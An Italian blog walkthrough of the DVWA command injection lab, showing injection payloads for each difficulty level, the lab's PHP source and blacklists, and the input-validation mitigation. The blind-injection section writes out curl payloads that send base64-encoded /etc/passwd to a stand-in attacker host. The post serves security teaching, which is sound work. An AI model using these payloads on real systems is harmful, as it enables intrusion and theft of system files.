DVWA Command Injection – Soluzione Completa
Bentornati, o benarrivati, nel post di oggi troverete la risoluzione della vulnerabilità: DVWA Command Injection, i requisiti sono:
- Qualsiasi browser disponibile
- Minima conoscenza di Linux, in particolare l’abilità nell’eseguire comandi multipli.
L’obbiettivo del test è quello di eseguire comandi arbitrari sul sistema operativo che ospita l’applicativo.
Il target è una semplice paginetta composta da un form nella quale viene richiesto di inserire un indirizzo ip da pingare.
La richiesta avviene tramite metodo POST e la variabile da attaccare ha come nome “ip“.
DVWA Command Injection – Low Level
Come per le altre vulnerabilità il livello basso non ha alcun tipo di filtro, quindi mi aspetto di poter concatenare comandi di sistema subito dopo aver inserito l’indirizzo ip.
Nel mio caso l’applicazione è installata su un sistema linux ed utilizzerò i caratteri “; & |” come payloads (virgolette escluse).
Per avere maggiori informazioni su questo tipo di attacco potete far riferimento ai seguenti links:
- https://www.owasp.org/index.php/Command_Injection
- http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution
- Concatenazione comandi Windows
- Concatenazione comandi Linux
Osservando il risultato della richiesta (primo screenshot ad inizio articolo) è possibile teorizzare che la pagina php utilizzi una funzione tipo system() o shell_exec() per eseguire il comando ping del sistema operativo.
Come primo carattere ho deciso di utilizzare il punto e virgola “;” così da poter concatenare un comando (pwd) anche nel caso in cui il ping fallisse.
Pyload completo “10.0.0.1 ; pwd“:
Guardando l’output della pagina si può vedere come lo script php abbia eseguito prima il ping verso l’ip 10.0.0.1 e poi stampato il risultato del comando pwd.
Per avvalorare ciò che ho scritto poco fa, mostro come in effetti il carattere “;” concateni il comando pwd anche nel caso in cui fallisca il ping.
Payload “questo_host_non_esiste ; pwd“:
Il ping non ha prodotto nessun risultato dato che non sarà riuscito a risolvere l’host “questo_host_non_esiste” ma nel compenso ha eseguito il comando pwd.
Diamo un’occhiata al sorgente php della pagina:
Non esiste alcun filtro in input:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
Il comando ping viene eseguita tramite la funzione shell_exec():
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
Quindi il payload viene eseguito in questo modo:
// *nix
$cmd = shell_exec( 'ping -c 4 10.0.0.1 ; pwd' );
## DVWA Command Injection – Medium Level
Nel livello medio la concatenazione tramite il carattere “;” non funziona, sfortunatamente anche i caratteri “&&” sembrano essere filtrati.
Il doppio carattere “e commerciale” può essere comparato all’operatore AND, nella concatenazione la sua condizione viene soddisfatta solo nel caso in cui il comando precedente non restituisce un errore (standard error).
Fallito il primo tentativo “10.0.0.1 && pwd“, ho pensato ad altri 3 payloads:
- “questo_host_non_esiste | pwd” – Con il carattere pipe inoltro l’uotput del primo comando (ping) verso il secondo (pwd)
- “questo_host_non_esiste || ls” – Utilizzo il doppio carattere pipe come operatore OR per concatenare i comandi
- “questo_host_non_esiste & pwd” – Utilizzo il carattere “e commericale” per mandare in background il ping ed eseguire ifconfig
BINGO, BINGO, BINGO tutti e tre gli attacchi sono andati a buon fine trascurando l’esito del ping!
Nel sorgente php della pagina mi aspetto di trovare un filtro che elimina i caratteri “;” e “&&“:
Come constatato dai test tramite la funzione php str_replace vengono rimossi i caratteri “;” e “&&” inseriti in una sorta di blacklist:
....
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
...
## DVWA Command Injection – High Level
Devo essere sincero, questo livello mi ha fatto imprecare più del dovuto…tutti i payloads provati in precedenza non mi hanno portato a niente.
Preso un po dalla disperazione ho cominciato a concatenare i comandi senza gli spazi:
- “10.0.0.1&pwd” FAIL
- “10.0.0.1&&pwd” FAIL
- “10.0.0.1;pwd” FAIL
- “10.0.0.1|pwd” OWNED
- “10.0.0.1||pwd” FAIL
Che cul….ehm fortuna!
Diamo un’occhiata al codice sorgente php:
L’errore nella blacklist risiede nella gestione del carattere pipe:
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
Nell’array soprastante è possibile notare come il carattere singolo pipe abbia accanto uno spazio vuoto, quindi concatenandoci un comando attaccato il controllo verrà raggirato.
Vi state chiedendo perché altri vettori di attacco tipo “$ ( `
” sono presenti nella blacklist?
Beh la risposta meriterebbe un articolo a parte, nel frattempo cercherò di essere il più breve e chiaro possibile:
Blind Command Injection, ovvero pagine vulnerabili all’attacco command injection con la differenza che a video non restituiscono alcun risultato ( da qui Blind, Cieco).
Poniamo il caso in cui la pagina Command Injection di DVWA livello low non restituisse a video alcun risultato particolare, cosa succederebbe se usassimo i seguenti payloads?:
“10.0.0.1 | curl http://hostname_serverweb_attaccante.com/$(base64 -w0 /etc/passwd)”
“10.0.0.1 | curl http://hostname_serverweb_attaccante.com/`
base64 -w0 /etc/passwd`
”
Andando a vedere gli error log del nostro server “hostname_server_web_attaccante.com” troveremmo una riga contenute il file passwd del server vulnerabile, codificato in base64!
DVWA Command Injection – Impossible Level (Mitigazione)
Nel livello impossibile, per impedire di iniettare caratteri particolari, viene controllato se l’output è formato solo da un raggruppamento di quattro numeri separati da zeri:
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
Da notare anche la funzione anti-CSRF ad inizio scrupt:
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
Questa mitigazione contro la vulnerabilità command injection è strettamente legata a se stessa, per un discorso più globale vi rimando al mio vecchio articolo “Filtri command injection: escapeshellarg escapeshellcmd“.
Anche per oggi è tutto, l’articolo DVWA Command Injection è conluso, un saluto e alla prossima vulnerabilità!